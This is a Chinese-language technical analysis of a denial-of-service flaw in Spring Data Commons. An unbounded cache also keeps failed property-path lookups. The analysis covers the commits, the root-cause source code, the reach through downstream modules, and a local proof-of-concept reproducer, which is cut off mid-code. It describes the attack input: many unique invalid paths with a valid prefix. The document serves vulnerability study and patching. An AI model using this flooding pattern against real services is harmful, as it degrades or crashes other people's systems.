CVE:CVE-2026-41695

组件:Spring Data Commons

类型:CWE-400 / Uncontrolled Resource Consumption

影响:拒绝服务(DoS)

评分:CVSS 3.1 7.5 HIGH

0x00 一句话结论

这不是一个“Spring Data REST 默认远程 RCE”级别的问题,而是一个更典型、也更容易在真实系统里被忽略的资源耗尽缺陷。

只要下游模块或业务代码把攻击者可控的属性路径字符串传进 MappingContext#getPersistentPropertyPath(...),脆弱版本就会把每一个唯一字符串对应的解析结果缓存下来,连失败结果也照存不误。攻击者不需要命中合法字段,只要持续喂入海量唯一无效路径,就能把缓存撑大,最终把 JVM 拖进高 GC 或 OOM。

更关键的是,这个行为不是偶发副作用,而是 2023 年 6 月 1 日引入的一次显式优化:上游为了“缓存失败路径,避免重复解析”,把异常路径也纳入了缓存;直到 2026 年 6 月 8 日,官方才用 ConcurrentLruCache(512) 把这条链路收口。

0x01 漏洞信息速览

根据 Spring 官方安全公告,漏洞成立需要同时满足以下条件:

  1. 攻击者输入被当作属性路径字符串参与解析。
  2. 下游 Spring Data 模块或应用代码把这个解析能力暴露给了不可信调用方。
  3. 目标类型存在递归或足够深的属性图,或者攻击者能够持续提交大量唯一无效路径。

官方受影响版本如下:

版本线

受影响版本

修复版本

4.0.x

4.0.0 - 4.0.5

4.0.6(OSS) / 4.0.5.1(Enterprise Support Only)

3.5.x

3.5.0 - 3.5.11

3.5.12(OSS) / 3.5.11.1(Enterprise Support Only)

3.4.x

3.4.0 - 3.4.14

3.4.15(Enterprise Support Only)

版本信息有一处需要单独说明:GitHub Advisory 页面目前仍显示 3.4.13 为最后一个受影响版本,但 Spring 官方公告和 NVD 在 2026-07-23 前后的记录都指向 3.4.14。下文以 Spring 官方公告和 NVD 的最新记录为准。

0x01.1 一手信息核对

写这类框架级漏洞,先把一手来源对齐很重要。本文主要核对了三处信息:

  1. Spring 官方公告:确认漏洞标题、成立条件和受影响版本。
  2. GitHub 修复提交:确认补丁不是“停止缓存失败路径”,而是“继续缓存,但把缓存改成 ConcurrentLruCache(512)”。
  3. NVD 页面:确认 CVE 公开记录在 2026-07-23 修改后,仍然把 3.4.14 视为 3.4.x 线最后一个受影响版本。

图 1:Spring 官方公告直接给出了漏洞描述、成立条件和受影响版本。

图 2:NVD 页面给出 CVE-2026-41695 的公开记录、发布日期 2026-06-09、修改日期 2026-07-23 与受影响版本范围。

0x01.2 漏洞成立条件矩阵

这个洞不适合被粗暴概括成“Spring Data 收到非法字段就会 OOM”。更准确的做法,是把成立条件拆开看:

条件

是否必需

作用

外部输入最终变成属性路径字符串

是

没有攻击者可控的 propertyPath,就没有可扩展的 key 空间

该字符串被桥接到 MappingContext#getPersistentPropertyPath(...)

是

Commons 本身不直接暴露 HTTP 接口,远程可达性取决于下游模块或业务代码

攻击者能持续制造大量唯一值

是

没有高基数输入,就很难把负缓存放大成持续内存压力

路径第一段或前缀能命中合法属性

否,但更优

合法前缀会让解析走得更深,失败条目里保留的上下文也更完整,攻击效果更稳定

目标类型具有深属性图或递归关系

否,但会放大

图越深,可尝试的路径空间越大,单次解析可能创建和保留的对象也更多

接口无认证或低权限可访问

否,但决定实战风险

决定它是“匿名 DoS”还是“低权限内部滥用”

这里最容易被误解的一点是:深属性图和递归结构会放大问题,但不是漏洞成立的前提。真正不可缺的只有两件事:

  1. 不可信字符串进入属性路径解析。
  2. 这些字符串能持续保持高基数。

也就是说,即使目标对象图并不复杂,只要应用把 sort、fields、projection、PATCH path 之类的参数原样透传给这条解析链路,风险就已经成立;复杂对象图只是在此基础上继续放大单位请求成本。

0x02 为什么这个洞值得单独写

很多人看到这个洞的第一反应会是:“不就是缓存没设上限吗?”但真正有意思的地方,不是“缓存无上限”这五个字,而是下面这条完整链路:

  1. 输入是外部可控的原始字符串。
  2. 缓存 key 直接包含这个原始字符串。
  3. 失败解析结果也会进入缓存。
  4. 抛出异常发生在缓存写入之后,而不是之前。
  5. 在本文复现到的受影响版本中,缓存没有上限、没有淘汰,且条目会被长期强引用保留。

这就意味着,只要下游桥接最终命中这个负缓存 sink,攻击者通常不需要“绕过字段校验”或者“命中真实属性”。恰恰相反,越是随机、越是垃圾、越是高基数的无效路径,越适合把缓存喂爆。

如果你的上层入口把原始字符串直接桥接到 MappingContext#getPersistentPropertyPath(String, ...),例如:

  • Spring Data REST 的排序字段
  • store 模块里的字段映射、路径映射
  • 业务代码自定义透传的 sort / property / projection / PATCH path

那么攻击流量甚至可以一直维持在“请求语义上失败”的状态,但 JVM 内存仍然稳步上涨。这类洞的危险点就在于,应用日志里可能只是一堆看起来普通的 InvalidPersistentPropertyPath。

0x03 时间线:漏洞是怎么被“优化”出来的

1. 2023-06-01:问题根因被引入

上游在提交 291ce083bdcc4d140323125fab518ca64c47af9b 中引入了对失败属性路径的缓存,提交说明非常直白:

  • 标题:Cache invalid persistent property paths.
  • 说明:Cache failing resolution attempts to avoid reiterating on the same paths over and over again.
  • 关联 Issue:#2837

如果只看 commit message,还是容易把这件事理解成一句抽象的“加了失败缓存”。直接看引入提交里的关键 diff,会更容易把行为变化看清:

- private final Map<TypeAndPath, PersistentPropertyPath<P>> propertyPaths = new ConcurrentReferenceHashMap<>();
+ private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentReferenceHashMap<>();
...
- private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
- 	return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
- 			it -> createPersistentPropertyPath(it.getPath(), it.getType()));
- }
+ private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
+ 	return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();
+ }
+
+ private PathResolution getPotentiallyCachedPath(TypeInformation<?> type, String propertyPath) {
+ 	return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
+ 			it -> createPersistentPropertyPath(it.getPath(), it.getType()));
+ }
...
- 				throw new InvalidPersistentPropertyPath(source, type, segment, currentPath);
+ 				return new PathResolution(parts, segment, type, currentPath);
...
- 		return path;
+ 		return new PathResolution(path);

同一次提交还专门补了一个单元测试,把“失败路径也要进入缓存”写成了显式语义,而不是隐含副作用:

@Test // GH-2837
void cachesFailingPropertyPathLookup() {

    assertThatExceptionOfType(InvalidPersistentPropertyPath.class)//
            .isThrownBy(() -> factory.from(PersonSample.class, "persons.firstname"));

    Map<TypeAndPath, ?> propertyPaths = (Map<TypeAndPath, ?>) ReflectionTestUtils.getField(factory, "propertyPaths");
    assertThat(propertyPaths).containsKey(TypeAndPath.of(TypeInformation.of(PersonSample.class), "persons.firstname"));
}

而 #2837 的原始诉求也很明确:此前实现只缓存可解析的合法路径,失败解析会直接抛异常,导致相同错误路径无法命中缓存。

这本来是一次性能优化,但这里有个时间线细节需要说清:从 2023-06-01 这个引入提交本身看,上游首先确立的是“失败路径也进入缓存”的语义;而在本文复现到的受影响版本里,这个语义又与无界、强引用保留的缓存实现叠加,最终把问题放大成可持续的内存 DoS。

2. 2026-06-08:官方修复

官方在提交 96e9475b963218bb702959524187342671f6b080(4.0.x)和 a4f893b66c18c70f2b22f29a2b55097b73c89941(3.5.x)中修复问题,核心动作只有一个:

- private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentHashMap<>();
+ private final ConcurrentLruCache<TypeAndPath, PathResolution> propertyPaths =
+     new ConcurrentLruCache<>(512, it -> createPersistentPropertyPath(it.path(), it.type()));
...
- private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
- 	return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();
- }
-
- private PathResolution getPotentiallyCachedPath(TypeInformation<?> type, String propertyPath) {
- 	return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
- 			it -> createPersistentPropertyPath(it.path(), it.type()));
- }
+ private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
+ 	return propertyPaths.get(TypeAndPath.of(type, propertyPath)).getResolvedPath();
+ }

图 3:GitHub 提交页可以直接看到 propertyPaths 从 ConcurrentHashMap 切到了 ConcurrentLruCache(512)。

修复不是“不再缓存失败结果”,而是把缓存从“无界永久保留”改成“有界 LRU 保留”。更准确地说,这是一个:

externally-supplied path string 驱动的 unbounded property-path cache

而不是简单一句“异常处理不当”。

0x04 漏洞根因:异常是在缓存之后抛出来的

只看一两行很容易低估问题,下面直接放出 4.0.5 里这一段真实上下文:

private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentHashMap<>();
private final MappingContext<E, P> context;

public PersistentPropertyPath<P> from(Class<?> type, String propertyPath) {

    Assert.notNull(type, "Type must not be null");
    Assert.hasText(propertyPath, "Property path must not be null or empty");

    return getPersistentPropertyPath(TypeInformation.of(type), propertyPath);
}

public PersistentPropertyPath<P> from(TypeInformation<?> type, String propertyPath) {

    Assert.notNull(type, "Type must not be null");
    Assert.hasText(propertyPath, "Property path must not be null or empty");

    return getPersistentPropertyPath(type, propertyPath);
}

private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
    return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();
}

private PathResolution getPotentiallyCachedPath(TypeInformation<?> type, String propertyPath) {
    return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
            it -> createPersistentPropertyPath(it.path(), it.type()));
}

这里可以直接看见三件事:

  1. from(...) 系列入口接受的是原始字符串。
  2. getPersistentPropertyPath(...) 并不先做失败短路,而是先取缓存结果。
  3. computeIfAbsent(...) 的 key 直接包含攻击者输入的 propertyPath。

真正的杀伤点在 createPersistentPropertyPath(...) 的失败路径。完整上下文如下:

private PathResolution createPersistentPropertyPath(String propertyPath, TypeInformation<?> type) {

    String trimmedPath = propertyPath.trim();
    List<String> parts = trimmedPath.isEmpty() ? Collections.emptyList() : List.of(trimmedPath.split("\\."));

    Assert.notEmpty(parts, "Cannot create PersistentPropertyPath from empty segments");

    DefaultPersistentPropertyPath<P> path = DefaultPersistentPropertyPath.empty();
    Iterator<String> iterator = parts.iterator();
    E current = context.getRequiredPersistentEntity(type);

    while (iterator.hasNext()) {

        String segment = iterator.next();
        DefaultPersistentPropertyPath<P> currentPath = path;
        Pair<DefaultPersistentPropertyPath<P>, E> pair = getPair(path, iterator, segment, current);

        if (pair == null) {
            return PathResolution.unresolved(parts, segment, type, currentPath);
        }

        path = pair.getFirst();
        current = pair.getSecond();
    }

    return PathResolution.resolved(path);
}

private @Nullable Pair<DefaultPersistentPropertyPath<P>, E> getPair(DefaultPersistentPropertyPath<P> path,
        Iterator<String> iterator, String segment, E entity) {

    P property = entity.getPersistentProperty(segment);

    if (property == null) {
        return null;
    }

    return Pair.of(path.append(property),
            iterator.hasNext() ? context.getRequiredPersistentEntity(property) : entity);
}

注意这里返回的不是异常,而是一个 PathResolution.unresolved(...) 对象。这个对象会作为 computeIfAbsent(...) 的返回值先进入缓存,随后调用方才继续执行:

return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();

最后 getResolvedPath() 才会抛出 InvalidPersistentPropertyPath。

实际执行顺序如下:

  1. 以 (TypeInformation, rawPathString) 生成缓存 key。
  2. 缓存 miss。
  3. 解析失败。
  4. 生成 unresolved 结果对象。
  5. 先把失败结果塞进缓存。
  6. 再抛异常返回给上层。

所以异常并不会阻止缓存污染,反而只是告诉上层“这次查找失败了”。对攻击者来说,失败恰恰就是目的。

0x04.1 TypeAndPath:为什么 key 本身就是污染源

再往下看 TypeAndPath 的完整定义,问题会更直观:

static final class TypeAndPath {

    private final TypeInformation<?> type;
    private final String path;

    private TypeAndPath(TypeInformation<?> type, String path) {
        this.type = type;
        this.path = path;
    }

    public static TypeAndPath of(TypeInformation<?> type, String path) {
        return new TypeAndPath(type, path);
    }

    public TypeInformation<?> type() {
        return type;
    }

    public String path() {
        return path;
    }

    @Override
    public boolean equals(@Nullable Object obj) {

        if (obj == this) {
            return true;
        }

        if (!(obj instanceof TypeAndPath that)) {
            return false;
        }

        return Objects.equals(this.type, that.type) && Objects.equals(this.path, that.path);
    }

    @Override
    public int hashCode() {
        return Objects.hash(type, path);
    }
}

这个 key 没做任何归一化,也没有只保留“最后一个 segment”或者“canonical path”。它就是把:

  • 目标类型 TypeInformation<?>
  • 原始路径字符串 String path

原样打包成一个强引用 key。

因此只要攻击者每次换一个新字符串:

persons.firstname0
persons.firstname1
persons.firstname2

就会得到三个完全不同的 TypeAndPath。对缓存来说,这不是“同一个错误路径被重复访问”,而是三个全新的 key。

这也是为什么这种漏洞天然怕高基数输入。如果 key 空间几乎等于攻击者可控字符串空间,那么缓存大小的理论上限就近似等于攻击者愿意发送多少不同参数。

0x04.2 PathResolution:失败结果为什么不会白白丢掉

再看 value,也就是 PathResolution:

private static class PathResolution {

    private final PersistentPropertyPath<?> path;
    private final boolean resolvable;

    private @Nullable final String source;
    private @Nullable final String segment;
    private @Nullable final TypeInformation<?> type;

    private PathResolution(PersistentPropertyPath<?> path) {

        this.path = path;
        this.resolvable = true;
        this.source = null;
        this.segment = null;
        this.type = null;
    }

    private PathResolution(List<String> parts, String segment, TypeInformation<?> type,
            PersistentPropertyPath<?> path) {

        this.source = StringUtils.collectionToDelimitedString(parts, ".");
        this.segment = segment;
        this.type = type;
        this.path = path;
        this.resolvable = false;
    }

    static PathResolution unresolved(List<String> parts, String segment, TypeInformation<?> type,
            PersistentPropertyPath<?> path) {
        return new PathResolution(parts, segment, type, path);
    }

    static PathResolution resolved(PersistentPropertyPath<?> path) {
        return new PathResolution(path);
    }

    <P extends PersistentProperty<P>> PersistentPropertyPath<P> getResolvedPath() {
        if (resolvable) {
            return (PersistentPropertyPath<P>) path;
        }
        throw new InvalidPersistentPropertyPath(source, type, segment, path);
    }
}

失败结果不是一个轻量标记位,而是一个完整对象,里面至少会保留:

  • source:完整原始路径,例如 persons.firstname2048
  • segment:失败的当前段,例如 firstname2048
  • type:当前目标类型
  • path:已经成功解析出来的前缀路径,例如 persons

这意味着一次失败请求留下来的不只是一个 map entry。它通常还会连带留下:

  1. 一个 TypeAndPath
  2. 一个 String path
  3. 一个 PathResolution
  4. 一个 parts 拼接得到的 source
  5. 一个前缀 PersistentPropertyPath
  6. 与前缀路径相关的一串对象引用

这也是为什么它不只是“缓存项个数变多”,而是会很真实地转化成堆占用增长。

0x04.3 逐段解析过程:为什么 persons.firstnameN 很适合打

createPersistentPropertyPath(...) 的执行逻辑可以拆成四步:

String trimmedPath = propertyPath.trim();
List<String> parts = trimmedPath.isEmpty() ? Collections.emptyList() : List.of(trimmedPath.split("\\."));

DefaultPersistentPropertyPath<P> path = DefaultPersistentPropertyPath.empty();
Iterator<String> iterator = parts.iterator();
E current = context.getRequiredPersistentEntity(type);

第一步,框架把点路径切段。第二步,从根实体开始逐段向下走。第三步,每处理一个 segment,就调用 getPair(...) 去当前实体里找对应属性。第四步,如果属性不存在,直接进入失败缓存分支。

关键判断就在这里:

P property = entity.getPersistentProperty(segment);

if (property == null) {
    return null;
}

因此像 persons.firstname2048 这种输入非常适合攻击:

  • persons 是合法字段,能顺利进入下一层实体
  • firstname2048 不存在,稳定触发失败路径
  • 后缀数字一变,整个 key 就变成新值

这种构造有个好处:它不会在第一段就被快速拒绝,而是会先走过一部分正常解析路径,再在中间节点留下失败结果。对缓存污染来说,这比纯随机单段字符串更稳定。

0x05 调用链:从公共入口到缓存写入点

下面直接按源码把主链拆开,先不要求读者额外去看任何辅助查询文件:

图 9:从公共 MappingContext 入口到负缓存写入,再到最终抛出 InvalidPersistentPropertyPath 的主调用链。

这条链路有两个实战意义:

  1. MappingContext 这一层是公共 API,语义上就允许接收“不一定合法”的路径字符串。
  2. 危险并不要求 Commons 自己直接暴露 HTTP 接口,只要下游有人把 HTTP 参数桥接进来就够了。

AbstractMappingContext 在 4.0.5 里的桥接代码其实非常直接:

@Override
public PersistentPropertyPath<P> getPersistentPropertyPath(PropertyPath propertyPath) {
    return persistentPropertyPathFactory.from(propertyPath);
}

@Override
public PersistentPropertyPath<P> getPersistentPropertyPath(String propertyPath, Class<?> type) {
    return persistentPropertyPathFactory.from(type, propertyPath);
}

@Override
public PersistentPropertyPath<P> getPersistentPropertyPath(String propertyPath, TypeInformation<?> type) {
    return persistentPropertyPathFactory.from(type, propertyPath);
}

也就是说,这一层本身并不会“清洗”或“收缩”外部输入;只要下游模块把 HTTP 参数、排序字段、投影字段或 PATCH path 之类的字符串透传进来,后面就会原样落到 PersistentPropertyPathFactory 的缓存逻辑。

Spring 官方公告也明确写了:Spring Data Commons does not directly expose this API to untrusted callers; exposure depends on the consuming Spring Data module or application code.

这句话的意思不是“风险不大”,而是“打不打得到取决于你的系统集成方式”。

0x05.1 这条链路里真正危险的不是 public API,而是 public API + negative cache

单独看 MappingContext#getPersistentPropertyPath(...),它只是一个普通元数据解析入口。单独看“失败结果缓存”,它也像是一次性能优化。真正把这两件事叠在一起,问题才成立:

  1. 入口允许接收字符串路径。
  2. 字符串路径在很多下游场景里来自用户输入。
  3. 失败结果会被缓存。
  4. 缓存 key 又直接依赖原始字符串。

也就是说,漏洞不是出在“有异常”,而是出在“异常结果被设计成可复用对象并放进了无界缓存”。

如果只抛异常、不缓存失败结果,那么攻击者最多消耗 CPU。如果缓存失败结果但 key 不含原始输入,那么攻击者能制造的状态也有限。现在这两个条件同时成立,才把影响抬成可持续的内存 DoS。

0x05.2 从 GC 视角看,这其实是典型的长生命周期对象积累

为什么这种 bug 比普通大对象申请更麻烦?因为这些对象不是“申请完马上死掉”的短命对象,而是被缓存引用住了。

对 HotSpot 来说,这类对象的生命周期大致会是:

  1. 请求进入,创建字符串、列表、路径对象。
  2. 解析失败,本来应该随请求结束一起释放。
  3. 但 ConcurrentHashMap 把 TypeAndPath -> PathResolution 强引用住。
  4. 对象无法在年轻代正常回收。
  5. 一部分对象晋升到老年代。
  6. 请求越多,GC 压力越大,最终吞吐下降甚至 OOM。

所以这个漏洞的攻击效果通常不是“瞬间把内存打满”,而是:

  • 堆缓慢上涨
  • Young GC 变频繁
  • Old Gen 压力上升
  • Full GC 出现
  • 最后才是明显故障

这类曲线在生产环境里往往比一次性爆炸更难排查,因为表面症状像性能退化,不像典型崩溃。

0x05.3 PropertyPath 支线不能一概而论

如果只盯着 getPersistentPropertyPath(String, ...),很容易漏掉另一类看起来更“安全”的调用:先把字符串变成 PropertyPath,再调用 getPersistentPropertyPath(PropertyPath)。

先把边界讲清楚:一旦某个调用点已经成功构造出 PropertyPath,后续在 PersistentPropertyPathFactory 里,这条路最终还是会回到同一个字符串缓存 sink:

public PersistentPropertyPath<P> from(PropertyPath path) {

    Assert.notNull(path, "Property path must not be null");

    return from(path.getOwningType(), path.toDotPath());
}

也就是说,针对“已经构造成功的 PropertyPath”这一类输入:

  1. 下游模块先把外部字符串喂给 PropertyPath.from(...)
  2. MappingContext#getPersistentPropertyPath(PropertyPath) 再委托到 PersistentPropertyPathFactory#from(PropertyPath)
  3. from(PropertyPath) 又把它还原成 owningType + dotPath
  4. 最终仍然落回 TypeAndPath(type, rawDotPath) 这套缓存逻辑

这点很关键,因为很多真实调用点表面上并没有直接使用 String 重载,而是先做一层 PropertyPath 封装。如果不把这一步拆开看,就很容易误以为“只有显式传字符串的地方才会命中这个 CVE”。

但反过来,也不能把所有“先过 PropertyPath”的调用都直接等同于漏洞可达。因为某些下游模块会先用 PropertyPath.from(...) 解析原始字符串;如果字符串在这一步就被拒绝,后面的 getPersistentPropertyPath(PropertyPath) 根本不会发生。

更准确地说,PropertyPath 在这里不是天然隔离层,而是一个需要分情况看的中间表示:

  1. 如果调用方先成功拿到了 PropertyPath,它后面仍可能回流到同一个 (TypeInformation, dotPath) 缓存 sink。
  2. 如果调用方在 PropertyPath.from(...) 阶段就把无效路径拒掉,那么这条无效输入不会到达本文讨论的负缓存。

0x05.4 下游桥接样本:spring-data-mongodb 里的边界该怎么读

为了避免把“下游桥接”讲成纯推测,这里直接看一个 Spring 官方 store 模块里的真实例子:spring-data-mongodb。但这里要强调的是:这个例子更适合说明“成功构造出的 PropertyPath 会如何回流到 Commons sink”,而不是直接证明“任意随机无效字段名都能命中该 sink”。

QueryMapper#getMappedObject(...) 会遍历查询文档里的每一个 key,并把它交给 createPropertyField(...):

for (String key : BsonUtils.asMap(query).keySet()) {
    ...
    Field field = createPropertyField(entity, key, mappingContext);
    ...
}

而 MetadataBackedField#getPath(...) 内部会先尝试把运行时字段名解析成 PropertyPath,只有成功后才继续调用 mappingContext.getPersistentPropertyPath(path):

String rawPath = resolvePath(pathExpression);

PropertyPath path = forName(rawPath);
if (path == null || isPathToJavaLangClassProperty(path)) {
    return null;
}

PersistentPropertyPath<MongoPersistentProperty> propertyPath = tryToResolvePersistentPropertyPath(path);
...

private PersistentPropertyPath<MongoPersistentProperty> tryToResolvePersistentPropertyPath(PropertyPath path) {
    try {
        return mappingContext.getPersistentPropertyPath(path);
    } catch (MappingException e) {
        return null;
    }
}

把这两段拼起来,可以得到一个更精确的结论:

  1. 运行时查询文档里的字段名 key
  2. QueryMapper#createPropertyField(...)
  3. MetadataBackedField#getPath(...)
  4. 先经过 PropertyPath.from(rawPath, entity.getTypeInformation())
  5. 只有 PropertyPath 构造成功时,才会继续调用 mappingContext.getPersistentPropertyPath(path)
  6. PersistentPropertyPathFactory#from(PropertyPath)
  7. 回到 Commons 内部的负缓存

图 9a:spring-data-mongodb 的 QueryMapper 并不是直接把原始 String 送进 Commons 负缓存,而是先经过 PropertyPath 解析;只有解析成功的路径才会回流到同一个 (TypeInformation, rawDotPath) 缓存 sink。

这说明“官方下游模块会不会把已解析路径桥接到这个 sink”这个问题,答案至少在一个真实模块里是肯定的。但它不能单独证明“高基数随机无效路径”也一定能沿这条路打到 sink,因为 forName(rawPath) 这一步本身就可能先失败并返回 null。

当然,这里还要把边界说清楚:

  1. 这证明了官方 store 模块里存在“PropertyPath 成功后继续桥接”的真实代码路径,不等于“所有 Spring Data MongoDB 应用都默认可被匿名远程触发”。
  2. 远程可达性仍然取决于更上层有没有把 HTTP 参数、JSON 查询字段、排序字段或别的运行时字段名暴露给这条链路。
  3. 对“随机无效路径是否可达”的判断,还必须继续看该模块是在 PropertyPath.from(...) 之前还是之后拦截输入。

顺手再区分一个很容易混淆的点:

  • MongoQueryCreator 也是一个真实调用点,它会执行 context.getPersistentPropertyPath(part.getProperty())
  • 但 part.getProperty() 来自派生查询方法签名,通常是编译期确定的属性名
  • 所以它证明的是“官方模块会调用这个 API”,却不一定是最有现实攻击价值的高基数字符串入口

相比之下,QueryMapper / EntityOperations 这类处理运行时字段名的路径,对这类缓存型 DoS 更有分析价值。

0x06 本地复现:绕开业务系统,直接验证核心路径

为了尽量减少无关变量,复现时没有额外搭建业务 Web Demo,而是直接验证漏洞核心:

  • 构造 PersistentPropertyPathFactory
  • 持续送入大量唯一无效路径
  • 反射读取 propertyPaths 内部缓存
  • 对比脆弱版和修复版的缓存行为

从一个空目录手工搭环境,只需要按下面这个最小目录创建文件即可:

.
├── docker-compose.yml
├── scripts/
│   └── run-docker-repro.sh
└── repro/
    ├── pom.xml
    └── src/main/java/org/springframework/data/mapping/context/
        ├── Cve41695Reproducer.java
        ├── SampleMappingContext.java
        └── SamplePersistentProperty.java

0x06.1 先把依赖版本钉死

复现工程的 pom.xml 很短,核心就是把 Spring Data Commons 版本和 Spring Framework 版本参数化,然后用 exec-maven-plugin 直接跑复现主类:

<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>local.repro</groupId>
  <artifactId>cve-2026-41695-repro</artifactId>
  <version>1.0.0</version>

  <properties>
    <maven.compiler.release>21</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <spring-data-commons.version>4.0.5</spring-data-commons.version>
    <spring-framework.version>7.0.7</spring-framework.version>
    <exec.mainClass>org.springframework.data.mapping.context.Cve41695Reproducer</exec.mainClass>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.springframework.data</groupId>
      <artifactId>spring-data-commons</artifactId>
      <version>${spring-data-commons.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-context</artifactId>
      <version>${spring-framework.version}</version>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.14.1</version>
        <configuration>
          <release>${maven.compiler.release}</release>
        </configuration>
      </plugin>
      <plugin>
        <groupId>org.codehaus.mojo</groupId>
        <artifactId>exec-maven-plugin</artifactId>
        <version>3.6.1</version>
        <configuration>
          <mainClass>${exec.mainClass}</mainClass>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

这份配置只做三件事:

  • 用 -Dspring-data-commons.version=... 在运行时切换 4.0.5 和 4.0.6
  • 用 -Dspring-framework.version=... 对齐对应框架依赖
  • 让 mvn compile exec:java 可以直接执行复现类

0x06.2 再补一个最小 MappingContext

为了把变量压到最少,复现工程没有起 Web 容器,也没有引入业务实体仓库,而是自己提供一个最小 MappingContext 和 PersistentProperty 实现。下面两段直接就是可保存成文件的完整源码。

package org.springframework.data.mapping.context;

import org.springframework.data.mapping.PersistentProperty;
import org.springframework.data.mapping.model.BasicPersistentEntity;
import org.springframework.data.mapping.model.Property;
import org.springframework.data.mapping.model.SimpleTypeHolder;
import org.springframework.data.util.TypeInformation;

public class SampleMappingContext
        extends AbstractMappingContext<BasicPersistentEntity<Object, SamplePersistentProperty>, SamplePersistentProperty> {

    @Override
    @SuppressWarnings("unchecked")
    protected <S> BasicPersistentEntity<Object, SamplePersistentProperty> createPersistentEntity(
            TypeInformation<S> typeInformation) {
        return new BasicPersistentEntity<>((TypeInformation<Object>) typeInformation);
    }

    @Override
    protected SamplePersistentProperty createPersistentProperty(Property property,
            BasicPersistentEntity<Object, SamplePersistentProperty> owner, SimpleTypeHolder simpleTypeHolder) {
        return new SamplePersistentProperty(property, owner, simpleTypeHolder);
    }
}
package org.springframework.data.mapping.context;

import org.springframework.data.mapping.Association;
import org.springframework.data.mapping.model.AnnotationBasedPersistentProperty;
import org.springframework.data.mapping.model.BasicPersistentEntity;
import org.springframework.data.mapping.model.Property;
import org.springframework.data.mapping.model.SimpleTypeHolder;

public class SamplePersistentProperty extends AnnotationBasedPersistentProperty<SamplePersistentProperty> {

    SamplePersistentProperty(Property property, BasicPersistentEntity<?, SamplePersistentProperty> owner,
            SimpleTypeHolder simpleTypeHolder) {
        super(property, owner, simpleTypeHolder);
    }

    @Override
    protected Association<SamplePersistentProperty> createAssociation() {
        return new Association<>(this, null);
    }
}

这两段代码的作用很直接:

  • 让 PersistentPropertyPathFactory 能在一个最小可用的映射上下文里工作
  • 保留 Spring Data 真实的属性路径解析逻辑
  • 避免业务 Controller、Repository、序列化层把现象污染掉

0x06.3 最后才是复现主程序

Cve41695Reproducer.java 最长,但也不复杂。为了让正文保持可读性,我按“文件头 -> 主逻辑 -> 反射辅助 -> 输出与参数 -> 测试模型”五段给出;这五段合起来就是完整文件。

先放文件头和默认参数:

package org.springframework.data.mapping.context;

import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;

import org.springframework.data.core.TypeInformation;
import org.springframework.data.mapping.model.BasicPersistentEntity;

public class Cve41695Reproducer {

private static final String DEFAULT_LABEL = "vulnerable";
private static final String DEFAULT_PREFIX = "persons.firstname";
private static final int DEFAULT_ITERATIONS = 4096;
private static final long DEFAULT_SLEEP_MILLIS = 0L;

然后在 main(...) 里做真正的触发、计数和结果采集:

public static void main(String[] args) throws Exception {

Arguments options = Arguments.parse(args);

PersistentPropertyPathFactory<BasicPersistentEntity<Object, SamplePersistentProperty>, SamplePersistentProperty> factory =
        new PersistentPropertyPathFactory<>(new SampleMappingContext());
long startNanos = System.nanoTime();
int exceptions = 0;

for (int i = 0; i < options.iterations(); i++) {
    try {
        factory.from(PersonSample.class, options.prefix() + i);
    } catch (InvalidPersistentPropertyPath ignored) {
        exceptions++;
    }
}

long elapsedMillis = (System.nanoTime() - startNanos) / 1_000_000L;
Object cache = getPropertyPathsCache(factory);
String firstPath = options.prefix() + 0;
String middlePath = options.prefix() + Math.max(0, options.iterations() / 2);
String lastPath = options.prefix() + Math.max(0, options.iterations() - 1);

Map<String, Object> report = new LinkedHashMap<>();
report.put("label", options.label());
report.put("springDataCommonsVersion", System.getProperty("spring-data-commons.version", "unknown"));
report.put("iterations", options.iterations());
report.put("exceptions", exceptions);
report.put("elapsedMillis", elapsedMillis);
report.put("invalidPathPrefix", options.prefix());
report.put("cacheImplementation", cache.getClass().getName());
report.put("cacheSize", extractCacheSize(cache));
report.put("containsFirstKey", containsCacheEntry(cache, firstPath));
report.put("containsMiddleKey", containsCacheEntry(cache, middlePath));
report.put("containsLastKey", containsCacheEntry(cache, lastPath));
report.put("jvmPid", getCurrentPid());

String json = toJson(report);
System.out.println(json);

if (options.output() != null) {
    Files.createDirectories(options.output().getParent());
    Files.writeString(options.output(), json + System.lineSeparator());
}

if (options.sleepMillis() > 0) {
    System.err.printf("Sleeping for %d ms to allow external heap inspection...%n", options.sleepMillis());
    Thread.sleep(options.sleepMillis());
}
}

关键点不只是“打 4096 次无效输入”,而是“打完以后把内部缓存状态读出来”。对应的反射辅助代码如下:

private static Object getPropertyPathsCache(Object factory) throws ReflectiveOperationException {
    Field field = factory.getClass().getDeclaredField("propertyPaths");
    field.setAccessible(true);
